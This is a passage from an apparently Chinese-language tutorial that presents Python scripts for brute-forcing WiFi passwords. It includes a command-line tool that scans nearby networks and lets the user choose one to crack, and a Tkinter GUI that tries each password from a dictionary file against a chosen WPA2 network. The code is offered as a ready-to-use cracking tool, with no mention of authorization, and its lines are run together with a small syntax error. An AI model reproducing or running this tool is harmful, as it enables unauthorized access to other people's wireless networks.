< 1.5:# 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码 , 经测试测正确密码一般都在1.5秒内连接 , 若要提高准确性可以设置为2s或以上 , 相应暴力破解速度就会变慢)if interface.status() == 4:print(f'\r连接成功!密码为:{pwd}')exit(0)else:print(f'\r正在利用密码 {pwd} 尝试破解 。', end='')# 主函数def main():# 退出标致exit_flag = 0# 目标编号target_num = -1while not exit_flag:try:print('WiFi万能钥匙'.center(35, '-'))# 调用扫描模块 , 返回一个排序后的wifi列表wifi_list = wifi_scan()# 让用户选择要破解的wifi编号 , 并对用户输入的编号进行判断和异常处理choose_exit_flag = 0while not choose_exit_flag:try:target_num = int(input('请选择你要尝试破解的wifi:'))# 如果要选择的wifi编号在列表内 , 继续二次判断 , 否则重新输入if target_num in range(len(wifi_list)):# 二次确认while not choose_exit_flag:try:choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]} , 确定吗?(Y/N)'))# 对用户输入进行小写处理 , 并判断if choose.lower() == 'y':choose_exit_flag = 1elif choose.lower() == 'n':break# 处理用户其它字母输入else:print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')# 处理用户非字母输入except ValueError:print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')# 退出破解if choose_exit_flag == 1:breakelse:print('请重新输入哦(*^▽^*)')except ValueError:print('只能输入数字哦o(* ̄︶ ̄*)o')# 密码破解 , 传入用户选择的wifi名称wifi_password_crack(wifi_list[target_num][1])print('-' * 38)exit_flag = 1except Exception as e:print(e)raise eif __name__ == '__main__':main()脚本运行效果如下:
上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称 , 并且可供用户自主选择需要暴力破解的 WIFI , 同时还可灵活指定暴力破解的字典 , 相对而言体验感提升了不少 。进一步也可以将上述脚本打包生成 exe 文件 , 双击运行效果如下:
图形化界面下面基于 Python 的 GUI 图形界面开发库 Tkinter 优化上述脚本 , 实现友好的可视化 WIFI 暴力破解界面工具 。
关于 Tkinter 库的语法可参见:
https://www.runoob.com/python/python-gui-tkinter.html
简单版UIfrom tkinter import *from pywifi import constimport pywifiimport time# 主要步骤:# 1、获取第一个无线网卡# 2、断开所有的wifi# 3、读取密码本# 4、设置睡眠时间def wificonnect(str, wifiname):# 窗口无线对象wifi = pywifi.PyWiFi()# 抓取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有的wifiifaces.disconnect()time.sleep(1)if ifaces.status() == const.IFACE_DISCONNECTED:# 创建wifi连接文件profile = pywifi.Profile()profile.ssid = wifiname# wifi的加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# wifi的密码profile.key = str# 网卡的开发profile.auth = const.AUTH_ALG_OPEN# 加密单元,这里需要写点加密单元否则无法连接profile.cipher = const.CIPHER_TYPE_CCMP# 删除所有的wifi文件ifaces.remove_all_network_profiles()# 设置新的连接文件tep_profile = ifaces.add_network_profile(profile)# 连接ifaces.connect(tep_profile)time.sleep(3)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falsedef readPwd():# 获取wiif名称wifiname = entry.get().strip()path = r'./pwd.txt'file = open(path, 'r')while True:try:# 读取mystr = file.readline().strip()# 测试连接bool = wificonnect(mystr, wifiname)if bool:text.insert(END, '密码正确'mystr)text.see(END)text.update()file.close()breakelse:text.insert(END, '密码错误'mystr)text.see(END)text.update()except:continue# 创建窗口root = Tk()root.title('wifi破解')root.geometry('500x400')# 标签label = Label(root, text='输入要破解的WIFI名称:')# 定位label.grid()# 输入控件entry = Entry(root, font=('微软雅黑', 14))entry.grid(row=0, column=1)# 列表控件text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)text.grid(row=1, columnspan=2)# 按钮button = Button(root, text='开始破解', width=20, height=2, command=readPwd)button.grid(row=2, columnspan=2)# 显示窗口root.mainloop()
- 面向对象 python python面向对象编程思维
- python贪吃蛇游戏代码 Python实现自动玩贪吃蛇
- 小米电视怎么连接wifi 小米电视如何连接wifi
- 小编分享通过腾讯WiFi管家检测附近风险WiFi的操作过程。
- python多图合并成一张图 Python实现多张图片合成一张马赛克图片
- 怎么从b站上下载视频 python爬b站视频
- 软件加密方法 python编写加密程序
- WIFI网络已连接 为什么wifi连接上却不能上网
- wifi密码怎么改 wifi怎么改密码
- 007灭神辅助怎么设置,三国群英传8破解版免steam版下载
